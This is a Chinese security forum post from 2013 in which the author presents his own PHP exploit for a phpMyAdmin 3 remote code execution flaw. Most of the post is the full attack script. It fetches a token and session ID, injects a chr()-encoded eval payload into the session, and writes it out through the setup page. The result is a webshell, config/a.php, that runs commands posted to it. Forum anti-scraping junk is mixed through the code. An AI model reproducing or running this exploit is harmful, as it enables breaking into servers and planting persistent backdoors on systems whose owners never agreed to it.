找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1987|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
5 P1 x2 o1 f1 m6 x
5 Q2 o9 }1 M5 _& f1 D3 K  r3 s# Z昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。6 P- k- N& q  _$ t  X2 r2 _6 m

- b8 L% W$ V7 E/ M* K8 S首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
# H+ C+ R  O( {7 t一是session.auto_start = 1;0 D4 e3 e2 P. Q/ W! |
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。6 s* {- E' }1 s6 U& w+ e5 c
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。' ?9 A1 O- P' n; y

8 z8 T6 G6 g5 M, H7 O在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
, D% T6 ^4 A1 t- _
1 C+ [) W6 o0 X. M于是写了这个php版本的exp,代码如下:
, Q5 y) |$ b+ O
# h# S$ X) i& k* x#!/usr/bin/php+ F7 }! H4 u1 F3 n0 z) p) i7 \
<?php
$ ]7 U; K2 q! c/ C7 p4 tprint_r('5 c1 a( Z1 w8 T/ j
+---------------------------------------------------------------------------+
- m$ K9 [7 V% ?1 b/ ^; q* }pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
4 u! `$ Y9 F) Sby oldjun(www.oldjun.com)
) }2 }5 K: I9 _welcome to www.t00ls.net
: A; Y; J, G5 Z2 V1 Smail: oldjun@gmail.com4 f6 i9 [' P: M5 V; J! k
Assigned CVE id: CVE-2011-25052 [) c; V2 T/ l. L/ v. X- H/ O
+---------------------------------------------------------------------------+
+ f3 M; T  H+ ?& Z8 ^2 Q- u');
$ H5 t. F  _. U1 t, C$ p
# ^$ \; F6 ~# b+ l/**9 n- f$ C! Q. [! Q- X' w" v
* working when the directory:"config" exists and is writeable.7 Z5 E6 ~- o! q/ f# b+ z# S% ~; J
**/8 T, d# }7 s$ n3 D7 h. x- g& t, P0 n

3 p' ?! Z! x' p9 A: [$ Aif ($argc < 3) {
: j# j) u5 S' o    print_r('2 e1 n* B' `. a$ n  X5 c2 i
+---------------------------------------------------------------------------+
8 V' [3 e* b, Z$ K+ p6 PUsage: php '.$argv[0].' host path
1 x! d. w/ l' _* Whost:      target server (ip/hostname)
# x% p" a8 r  D  f, f9 \7 Spath:      path to pma3
  U5 k& i4 _: tExample:
1 _! G1 X( l- A* V$ I4 [0 N% jphp '.$argv[0].' localhost /pma/9 ^: h  k7 E7 r0 ~
+---------------------------------------------------------------------------+& {: H; i6 {; O& m
');+ x% P# c. p1 z# W" p$ U! U- `: B
    exit;7 _6 J) A6 b7 `. c- A
}1 g7 h" \+ U9 U# O

1 o, d' [* T/ V# u* V1 L6 E$host = $argv[1];: Z! H: t) E1 [- w. T2 @, J
$path = $argv[2];
+ C7 j) F- ]0 T. |/ _. W6 I  z. ?
: U7 n7 x2 ~# W" [. \$ d/**5 _5 j. m: h1 h- ?% f: i' q
* Try to determine if the directory:"config" exists" ?$ u/ v; N9 C" `
**/: S6 j( W* S$ t$ i5 O) O( r. Z
echo "[+] Try to determine if the directory:config exists....\n";
+ p/ F2 B; R, k3 U! T  m$returnstr=php_request('config/');& {* j6 B9 p) o* c% v; d2 k2 Z0 |* r
if(strpos($returnstr,'404')){
/ Z* z! t& ^( _+ q1 ~/ P% r    exit("[-] Exploit Failed! The directory:config do not exists!\n");
& }, Z( T' D; O8 ^$ O: R" N8 M  z}
$ T9 ~# t( D" z# o7 R! s' t2 t
0 r1 ?: f# j. @! l& l/**
; \) M2 r8 D) t * Try to get token and sessionid
2 C# Y% W8 P2 o% f" |**// }- M" y/ M" C( G4 k
echo "[+] Try to get token and sessionid....\n";% @% M, V& t; Q: `
$result=php_request('index.php');
% a* W/ R9 g2 h- f0 Upreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);+ j1 ^: [' C8 A$ q, t# n; y( B
$token=$resp[3];( Q' Y) ~) d/ F( x9 l; |
$sessionid=$resp[1];6 a) R- Z# g0 L$ N) Y! g
if($token && $sessionid){6 v& x: W. l$ q5 k
    echo "[+] tokentoken\n";
$ s0 d0 i4 B+ j8 W( K    echo "[+] Session IDsessionid\n";6 E, K0 r2 m! l3 Y
}else{6 x0 \) k  q3 Q1 g2 O
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
1 e7 d; a: L& N' B! a}
, T7 m7 u) K6 z/ T! }" }1 g; M3 ]5 _2 g
/**% P' l1 l5 |- X. e9 R5 Y4 c
* Try to insert shell into session; j- A' p2 M) Y* ]
**/
( q! b( |5 h1 q5 hecho "[+] Try to insert shell into session....\n";% C  G& n8 N1 S* ?
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
' j7 S6 d" Y/ g5 |; t* f/ h3 z1 S. t/ e# o
/**
( a/ l; r9 j( Y$ W" \ * Try to create webshell
* W( G, ]4 j& s! h**/
; j4 V* L. z6 G/ J2 S$ Uecho "[+] Try to create webshell....\n";4 p; K( D# e1 u  v8 }2 t+ e9 n$ `
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
; x( I" x- H- i. R/ k$ T6 p/**
# m7 U1 ~- n& M. p9 v( r  w * Try to check if the webshell was created successfully4 y5 M1 x; \0 b. T+ l" y
**/
; ^8 C: ~2 T, Z( Becho "[+] Try to check if the webshell was created successfully....\n";! Y6 M! g2 X0 D# E$ ^, n& q
$content=php_request('config/config.inc.php');
, ^" n# Z0 l7 Q( l2 dif(strpos($content,'t00ls')){
( w) T2 i' Z5 c1 O    echo "[+] Congratulations! Expoilt successfully....\n";
7 X( D% S& v7 m# I5 G    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";3 U2 i6 x: F; q/ [
}else{# o4 E- u9 ?) I3 }9 H& v" p0 r# y
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
% }5 j$ n7 |# O7 M1 l/ V( p7 U/ c6 i}
  Y# r/ }4 h% [+ S; E. A6 m4 ~7 W- A2 _0 r7 ~
function php_request($url,$data='',$cookie=''){& ^, o" Q. Z9 s/ e  N
    global  $host, $path;9 b1 @4 [9 s& `
    6 G+ }7 `2 U6 |7 c1 C
    $method=$data?'POST':'GET';' f0 T# W5 H1 Q- M
    6 s7 x6 x( C3 S. `  O, v
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";1 B8 J. o: r% x. }4 {. F, M/ f
    $packet .= "Accept: */*\r\n";
! F' L8 |# G6 l. G. W" K    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
% J& ^; o3 n4 j/ G! F  g' ^; L; F' T! O    $packet .= "Host: $host\r\n";
, D3 q7 U- ?# J2 }; Q    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";) G2 \  f" W' C& g% y
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
' H5 h: ^+ p8 p: b  L% V$ n    $packet .= $cookie?"Cookie: $cookie\r\n":"";  C) m3 `: w1 |
    $packet .= "Connection: Close\r\n\r\n";
  o. T( D' S1 O8 Y! |6 P    $packet .= $data?$data:"";+ m- X3 l" I2 v$ \, Y% T
' R4 u% C# Z6 R* w( E9 X1 i: n
    $fp = fsockopen(gethostbyname($host), 80);
( E, y1 O- B/ c: D    if (!$fp) {
" W" P# W7 x  d/ E+ Z: J' o    echo 'No response from '.$host; die;' S. d/ M7 k4 D& s& F3 A* A$ r
    }
3 G( I* ^: W1 @+ n0 g+ A    fputs($fp, $packet);
+ `& n/ i; O  D7 K; Y; c# J/ e9 ?0 r' R  ~$ `8 ^! h
    $resp = '';
* B+ [# R$ G  w4 a( b, _( ?
& F! h6 l$ _4 d2 k/ \4 O    while ($fp && !feof($fp))( I, M. J7 E* D. o% S- w
        $resp .= fread($fp, 1024);$ m7 c9 C  l0 \2 z4 X1 N( D5 Y0 y

( p9 V* z7 D  s9 Z# }$ A    return $resp;
- m1 \0 t9 R- q}
7 y/ k- L% D) K# ^6 \$ h    - q. N( r5 s0 c0 h* L; ~1 M
?>
) ~5 W" L# P2 i.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表